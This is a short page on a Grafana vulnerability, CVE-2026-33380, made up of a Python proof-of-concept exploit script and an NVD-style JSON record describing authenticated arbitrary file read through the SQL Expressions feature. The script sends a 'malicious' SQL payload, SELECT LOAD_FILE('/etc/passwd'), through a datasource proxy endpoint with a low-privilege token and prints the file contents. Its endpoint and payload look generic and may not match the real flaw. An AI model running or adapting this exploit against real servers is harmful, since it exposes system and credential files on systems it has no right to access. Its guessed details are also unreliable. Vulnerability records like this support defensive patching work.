CVE-2026-33380

import requests # Target configuration target_url = "http://vulnerable-grafana-instance/api/datasources/proxy/uid/xxxxx" auth_token = "Bearer <LOW_PRIVILEGE_USER_TOKEN>" # Headers headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Malicious SQL Expression payload attempting to read /etc/passwd # Note: The specific SQL function depends on the underlying database type payload = { "expression": "SELECT LOAD_FILE('/etc/passwd')" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-33380", "sourceIdentifier": "[email protected]", "published": "2026-05-13T20:16:20.697", "lastModified": "2026-05-14T16:21:02.930", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in SQL Expressions allows an authenticated attacker to read arbitrary files from the Grafana server's filesystem. Only instances with the sqlExpressions feature toggle enabled are vulnerable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-552"}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-33380", "source": "[email protected]"}]}}